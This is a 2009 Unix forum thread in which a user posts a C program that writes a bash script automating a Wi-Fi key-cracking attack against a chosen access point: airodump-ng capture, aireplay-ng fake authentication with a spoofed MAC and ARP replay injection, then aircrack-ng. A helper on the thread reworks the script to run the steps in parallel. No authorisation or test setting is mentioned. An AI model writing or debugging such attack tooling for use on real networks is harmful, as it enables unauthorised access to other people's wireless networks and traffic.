scripting n00b question, please help :)


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting scripting n00b question, please help :)
# 1  
Old 03-08-2009
Question scripting n00b question, please help :)

Okay, so I'm a little familiar with C and Linux, but my shell scripting experience is limited to say the least. I know that you begin a shell script with this
Code:
#!/bin/bash

Basically, I've written a C program that's output writes to a shell script. What my problem is, is I would like this shell script to basically work like this

#!/bin/bash

1.preform first command in the starting shell

2. open a second shell and write second command to second shell, wait till second command finishes, then write 3rd command into this shell

3. open 3rd and final shell and execute the final command

I understand this may be a confusing question, but any help would be appreciated.

Last edited by beatzz; 03-08-2009 at 11:54 PM.. Reason: spelling
# 2  
Old 03-09-2009
Based from what you mentioned, simply running the three commands in sequence should anyway do what you want. Care to post some code?
# 3  
Old 03-09-2009
My program crackrocks
Code:
#include<stdio.h>
#include<string.h>
void strip_newline(char *str,int size)
{
 int i;
 for(i=0;i<size;++i){
  if(str[i]=='\n'){
   str[i]='\0';
   return;
  }
 }
}
int main()
{
 char bssid[20];
 char essid[20];
 int channel;
 printf("AP BSSID:");
 fgets(bssid,20,stdin);
 strip_newline(bssid,20);
 printf("AP ESSID:");
 fgets(essid,20,stdin);
 strip_newline(essid,20);
 printf("AP CHANNEL:");
 scanf("%d",&channel);
 FILE *crackrocks;
 crackrocks=fopen("crackrocks-out","w");
 fprintf(crackrocks,"#!/bin/bash\n\nairodump-ng -c %d -d %s -w %s mon0\naireplay-ng -1 0 -e '%s' -a %s -h 00:19:7E:71:C0:2D mon0\naireplay-ng -3 -b %s -h 00:19:7E:71:C0:2D mon0\naircrack-ng -z -b %s %s*.cap\n",channel,bssid,essid,essid,bssid,bssid,bssid,essid);
 fclose(crackrocks);
 getchar();
 return 0;
}

Now, when I execute the script file it outputs, which is all correct, it sticks on the fist command, airodump, and it dosent show me the other 3 commands running or if they even start at all. So I would like each command to be in their own seperate window. I know its possible, anything is possible on computers. just gata figure it out
# 4  
Old 03-09-2009
Change to below code and retry:
Code:
fprintf(crackrocks,"#!/bin/bash\n\nairodump-ng -c %d -d %s -w %s mon0 & \naireplay-ng -1 0 -e '%s' -a %s -h 00:19:7E:71:C0:2D mon0 & \naireplay-ng -3 -b %s -h 00:19:7E:71:C0:2D mon0\naircrack-ng -z -b %s %s*.cap\nwait \n",channel,bssid,essid,essid,bssid,bssid,bssid,essid);

This basically puts all the three commands in background and waits for all of them to get over. You can tweak this based on your exact requirements.

I suggest you first modify & test the script separately and when it works, incorporate into your c program.
# 5  
Old 03-09-2009
Okay, so I edited my code to include your line of fprintf. Here it is. We are close to success, but not there yet.
Code:
#include<stdio.h>
#include<string.h>
void strip_newline(char *str,int size)
{
 int i;
 for(i=0;i<size;++i){
  if(str[i]=='\n'){
   str[i]='\0';
   return;
  }
 }
}
int main()
{
 char bssid[20];
 char essid[20];
 int channel;
 printf("AP BSSID:");
 fgets(bssid,20,stdin);
 strip_newline(bssid,20);
 printf("AP ESSID:");
 fgets(essid,20,stdin);
 strip_newline(essid,20);
 printf("AP CHANNEL:");
 scanf("%d",&channel);
 FILE *crackrocks;
 crackrocks=fopen("crackrocks-out","w");
 fprintf(crackrocks,"#!/bin/bash\n\nkonsole -e airodump-ng -c %d -d '%s' -w %s mon0 & \nkonsole -e aireplay-ng -1 0 -e '%s' -a %s -h 00:19:7E:71:C0:2D mon0 & \nkonsole -e aireplay-ng -3 -b %s -h 00:19:7E:71:C0:2D mon0 & \nkonsole -e aircrack-ng -z -b %s '%s'*.cap\nwait\n",channel,bssid,essid,essid,bssid,bssid,bssid,essid);
 fclose(crackrocks);
 getchar();
 return 0;
}

Now, this code compiles just fine using gcc. However, there is a flaw. When I execute the shell script generated by this program, I receive this error.
Code:
beatzz@hax0r:~/hack$ ./crackrocks-out
kdecore (KProcess): WARNING: _attachPty() 11
kdecore (KProcess): WARNING: _attachPty() 11
kdecore (KProcess): WARNING: _attachPty() 11
kdecore (KProcess): WARNING: _attachPty() 11
beatzz@hax0r:~/hack$

It dose accomplish my goal of opening multiple windows, but it still doesn't work right either.
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. UNIX for Dummies Questions & Answers

FTP EOF n00b Question

Hi folks, can you help me decipher this? I know that ftp will accept input from all commands until it encounters EOF again but I don't quite make sense of what the entirety of the script is really trying to achieve. Many thanks. ftp -n someserver << EOF | head -20 user username@server... (2 Replies)
Discussion started by: verargulla
2 Replies

2. Shell Programming and Scripting

Shell pipeline help for a n00b

I need to read input from a file, and make sure nothing prints after column 72. basically, ignore input after character 72 until the next newline character. Any help is appreciated. I have been searching forever! (10 Replies)
Discussion started by: Gbear
10 Replies

3. Shell Programming and Scripting

Unix Shell basic loop massive n00b

hey guys I would really appreciate some help, i need to do a project for a job that requires minimal UNIX scripting and im REALLY stuck basically Im stuck at what i believe is something really simple but i just dont have a clue how to do it efficiently and properly and i REALLY appreciate some... (16 Replies)
Discussion started by: thurft
16 Replies

4. Shell Programming and Scripting

Shell Scripting n00b

Hey Guys! I was hoping for some help with a simple script I'm trying to use. I have the script set up to pull some simple information out of a database .txt file and sed it into a preexisting template for assignment cover letters. The problem seems to be someplace in the sed statement but I... (5 Replies)
Discussion started by: BFeicht
5 Replies

5. IP Networking

tcp n00b - can't ping router

please help! I have a sun blade with 2 x nics configured, both on different subnets. The eri0 interface (192.168.0.100) is connected to my router (192.168.0.1), but if i try to ping the router, it times out. any suggestions are welcome - i noticed the 2 mac addresses are the same, i've set... (7 Replies)
Discussion started by: badoshi
7 Replies

6. UNIX for Dummies Questions & Answers

N00b In Need!

Howdy all, just joined the forums after finding them on a good ole' google search. very impressed from what i've seen so far! I'm pretty new to the world of Unix/Linux, have just had a change of job role and been thrown in at the deep end! I'm now working on an Oracle 9i database using HPUX... (1 Reply)
Discussion started by: davesimm
1 Replies

7. UNIX for Dummies Questions & Answers

N00b question on CPU % in top

I have a process in my TOP output that is consistantly at 97% usage. I have 16 CPUs on my box. So is the 97% the cumalative usage of all the CPUs or just one? (3 Replies)
Discussion started by: kskywr
3 Replies

8. Shell Programming and Scripting

scripting question?

I am writing a backup script for AIX 5 and running into a problem where the output isn't being shown in the output log that is being created. Any ideas on how this would be corrected? I have included the script below. The only thing showing up in the file is listed below. I was hoping to capture... (2 Replies)
Discussion started by: justinburbridge
2 Replies

9. UNIX for Dummies Questions & Answers

Absolute n00b questions about Unix / Linux

Hi All, I have absolutely no experince with either one, and would LOVE to start from somewhere! So please guide me to some web sites (beside these great forums of course!) that I can obtain n00b information. (Books, links, resources, etc.) What software OS? should I begin with? I have heard... (2 Replies)
Discussion started by: CodeHunter
2 Replies

10. UNIX for Dummies Questions & Answers

OpenBSD N00b: HELP ME!!! AGGGH!!

Note: This is not meant to start a flamewar. I am looking for serious answers to questions regarding OpenBSD. I'm coming to OpenBSD from an eight year background in Linux (specifically various versions of RedHat and now Fedora Core 3). I have some experience with Solaris 8 and HP-UX 11/11i. I... (1 Reply)
Discussion started by: deckard
1 Replies
Login or Register to Ask a Question